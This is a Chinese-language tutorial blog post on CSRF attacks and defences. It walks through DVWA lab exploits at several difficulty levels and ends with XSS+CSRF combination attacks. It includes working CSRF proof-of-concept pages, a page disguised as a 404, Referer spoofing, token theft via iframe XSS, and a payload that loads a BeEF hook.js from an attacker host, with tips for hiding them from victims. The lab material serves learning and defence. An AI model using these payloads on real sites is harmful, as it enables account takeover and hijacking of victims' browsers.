欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
2.1 CSRF公鸡原理及防护
2.1.1 CSRF是什么
- ssrf 服务端请求伪造
- CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络公鸡方式,也被称为 one-click attack 或者 session riding。
2.1.2 CSRF公鸡原理
- CSRF公鸡利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
2.1.3 CSRF公鸡实例
- 角色:
- 正常浏览网页的用户:User
- 正规的但是具有洞洞的网站:WebA
- 利用CSRF进行公鸡的网站:WebB
流程:
- 步骤一 用户登录、浏览并信任正规网站WebA,同时,WebA通过用户的验证并在用户的浏览器中产生Cookie。 编辑
- 步骤二 公鸡者WebB通过在WebA中添加图片链接等方式诱导用户User访问网站WebB。 编辑
- 步骤三 在用户User被诱导访问WebB后,WebB会利用用户User的浏览器访问第三方网站WebA,并发出操作请求。 编辑
- 步骤四 用户User的浏览器根据WebB的要求,带着步骤一中产生的Cookie访问WebA。 编辑
- 步骤五 网站WebA接收到用户浏览器的请求,WebA无法分辨请求由何处发出,由于浏览器访问时带上用户的Cookie,因此WebA会响应浏览器的请求,如此一来,公鸡网站WebB就达到了模拟用户操作的目的。 编辑
2.1.4 CSRF公鸡防护
上文简单的叙述了CSRF公鸡的原理,接下来将要介绍几种CSRF公鸡的防护方法。
1. 只使用JSON API
使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF公鸡。
2. 验证HTTP Referer字段
- 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA 然后再通过点击页面上的按钮出发转账事件
- 这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL,而如果黑帽要对银行网站实施 CSRF公鸡,他只能在他自己的网站构造请求,当用户User通过黑帽的网站发送请求到WebA时,该请求的 Referer 是指向黑帽自己的网站。
- 因此,要防御 CSRF 公鸡,网站WebA只需要对于每一个转账请求验证其 Referer 值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑帽的 CSRF 公鸡,拒绝该请求。
3. 在请求地址中添加token验证
- 服务端生成了一个token dsadadarqewajafjoenfeanf
- CSRF 公鸡之所以能够成功,是因为黑帽可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑帽可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。
- 要抵御 CSRF,关键在于在请求中放入黑帽所不能伪造的信息,并且该信息不存在于 cookie 之中。
- 可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 公鸡而拒绝该请求。
- 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对
2.2 DVWA之CSRF洞洞
- csrf全称为:Cross-site request forgery,是一种常见的web公鸡。在场景中,公鸡者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,公鸡也就完成了。
- 与xss的区别:csrf是借助用户的权限完成公鸡,公鸡者并没有拿到权限;而xss是直接盗取用户权限去进行破坏。 更改难度 编辑
点击dvwa security,选择难度,然后点击submit完成更改
2.2.1 LOW难度
- 首先,我们先看一下网页源代码
- 我们可以看到low难度的源代码中,并没有隐藏的token,这样我们的难度就小了很多。
然后我猜测这里的密码检测是直接将输入的进行拼接,检验password_new与password_conf是否一致。 - 于是可以先伪造一个简陋的链接:
http://192.168.1.102/dvwamaster/vulnerabilities/csrf/password_new=password&password_conf=password&Change=Change# - 注:里面的ip要改成自己的 一旦用户点击链接,就会出现红字:
- 这样我们就成功地将密码更改为password了
当然,我们可以将链接修饰一下,毕竟这样一看就能看出来。
比如我们可以在网上找一个短链接生成器
- 也可以利用html构造一个公鸡界面
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/? password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/> <h1>404<h1> <h2>file not found.<h2>
- 看似是一个失效的页面,但其实已将改掉了密码
- 编辑
- 看似是一个失效的页面,但其实已将改掉了密码
2.2.2 Medium难度
- 我们看一下网页代码:
<br/> <form action="#”method="GET'> New password:<br /> <input type="passwordAUTOCOMPLETE=offname="password new"<br /> Confirm new password:<br /> <input type="password”AUTOCOMPLETE=off”name=”password_conf"> <br/> <input type="submit" value="Change” name="Change"> <!--这段代码定义了一个包含两个密码输入框和一个提交按钮的简单表单, 用户可以在其中输入新密码并确认, 然后点击 "Change" 按钮提交表单数据。 整个表单使用 GET 方法提交数据, 因为在 <form> 标签中指定了 method="GET"。-->
- 与low难度一样,没有token,这时候,我们可以看一下源代码
<·?php if( isset( $_GET[ ‘Change’ ] ) ) {undefined // Checks to see where the request came from if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {undefined // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[ ‘password_conf’ ]; //这两行代码将表单中输入的新密码和确认密码分别存储在 $pass_new 和 $pass_conf 变量中。 if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) // 再次检查请求来源是否与当前服务器的域名匹配 /*注:在php语言中int eregi(string pattern, string string), 译为检查string函数中是否含有pattern. 如果有返回True,反之False。 */
- 因此,此句是判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERER是Referer参数值,即来源地址 SERVER_NAME是host参数及主机ip名(我这里是192.168.1.102)
所以,如果我们想要破解它,就要让Referer参数值包含主机名
我们写一个html文件,和low难度的那个文件内容相同:
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/? password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/> <h1>404<h1> <h2>file not found<h2>
- 写好后将其命名为ip地址.html格式,如:192.168.1.102.html
- 然后将其放在网页根目录WWW的DVWA文件中
- 然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://公鸡者服务器地址/dvwa/被公鸡ip地址.html格式,如图: 编辑
- 点击go,可以看到 编辑
- 编辑
- 密码成功更改。
2.2.3 High难度
- 我们看一下网页代码:
<form action="#"method="GET"> New password:<br > <input type="password" AUTOCOMPLETE="off" name="password_new" > <br/> Confirmnewpassword:<br/ > <input type="password"AUTOCOMPLETE="off”name="password_conf"<br /><br/> <input type=" submit" value="Change”name= "Change "> <input type= "hidden" name='user_token'value='9d828e9ff7b01c1b5e0aa4a0ee844b95/> </form>
- 这次有了token值,这个值并不是很容易就看到的,我们需要在公鸡者服务器上获取被公鸡者的token值。
- csrf公鸡本质是重要操作的所有参数,都可以被公鸡者猜测到。
- 因此我们必须要获得token值!
- 我们要先看一下源代码:
if( isset( $_GET[ ‘Change’ ] ) ) { checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ ); //这个函数用于检查用户的令牌(token)是否有效,以防止跨站请求伪造(CSRF)攻击。它会比较用户提交的令牌 user_token 和当前会话中的令牌 session_token 是否匹配。 // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); //使用 mysql_real_escape_string 函数对新密码进行转义,以防止 SQL 注入攻击。 $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . //构建 SQL 查询语句并执行更新操作:dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } mysql_close(); //关闭与数据库的连接。 /*这段代码中使用了 mysql_real_escape_string 对用户输入的密码进行了转义处理, 这是为了防止 SQL 注入攻击。 另外,它使用了 MD5 加密来存储密码,*/
- 我们的公鸡思路是试着去构造一个公鸡页面,将其放置在公鸡者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成公鸡。
- 但是,浏览器并不允许跨域请求,因此,我们可以利用xss洞洞
- 点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:
- 一是利用burp suite 进行抓包,然后改参数,运行获取token。
- 二是利用火狐浏览器。两种大体思路一致,这里我具体说一下第二种。
- 火狐浏览器打开xss(stored)界面,点击浏览器中的设置->web开发者->查看器,找到和name框架有关的代码(ctrl+f,输入txtname) 编辑
- 我们将size和maxlength值改大一点,
- 这样,我们就可以在name框中输入构造代码了,代码如下:
<iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)> <!--frames[0].document.getElementsByName('user_token')[0].value 这段 JavaScript 代码的 目的是获取嵌入文档中名为 'user_token' 的表单元素的值, 并将其弹出显示在警告框中-->
- 此为token,有了这个,我们就可以利用medium中的方法进行公鸡。
2.2.4 impossible
加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。
2.3 洞洞组合拳之XSS+CSRF记录
2.3.1 前言
今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。
2.3.2靶场环境
- 本机(Win):192.168.38.1
- DVWA(Win):192.168.38.132
- Beef(Kali):192.168.38.129
2.3.3 组合拳思路
- 第一拳:存储型 XSS + CSRF(存储型 XSS 公鸡代码中加入 CSRF 代码链接)
- 第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)
2.3.4 【第一拳】存储型 XSS + CSRF
(1) 构造 POC
- a、构造 CSRF 代码
- 这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
- 本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
- 继续来看,咱们需要首先为浏览器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change. 编辑
- 这时先开启 CSRFTester 的流量记录功能。 编
- 开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
- 之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。 编
- 之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
- 对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html> <body onload="javascript:fireForms()"> <!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。 --> <script language="JavaScript"> var pauses = new Array( "42" ); <!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。--> function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} <!--用于实现停顿,即在指定的时间内等待执行下一步操作。--> function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} <!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作--> </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change"> <!--定义了一个 GET 方法的表单, 其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标, 同时提供了新密码、确认密码和修改操作的参数。--> <input type="hidden" name="password_new" value="123123"/> <input type="hidden" name="password_conf" value="123123"/> <!--隐藏的表单输入,用于指定要修改的密码。--> <input type="hidden" name="Change" value="Change" /> </form> </body> </html> <!--综合起来,这段代码的作用是在页面加载完成后, 自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL, 从而进行 CSRF 攻击。-->
- b、构造 XSS 代码
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script> /*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。 当 src 属性指定的资源加载失败时, 就会执行这段 JavaScript 代码。 代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL, 即 "http://192.168.38.1/csrf.html"。*/
(2) 开工
- 在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
- 在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500. 编
- 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low. 编辑
访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
2.3.5【第二拳】CSRF + SelfXSS
(1)构造 POC
- a、构造 XSS 代码
- 我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
- b、构造 CSRF 代码
- 这里继续使用 CSRFTester 工具生成 CSRF POC。 编
- 具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "54" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>"> <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> /*这段代码包含一个 <form> 元素, 它的 action 属性指向一个可能存在 XSS 漏洞的网页, 并且带有一个参数名为 'name' 的 GET 请求参数, 其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。 同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/ </form> </body> </html> /*综合来看,这段代码利用了 JavaScript 来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面, 以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
http://192.168.38.1/csrf.html
- 打开链接后,beef 中就能看到上线的主机了。
- 不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
2.4 总结
暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。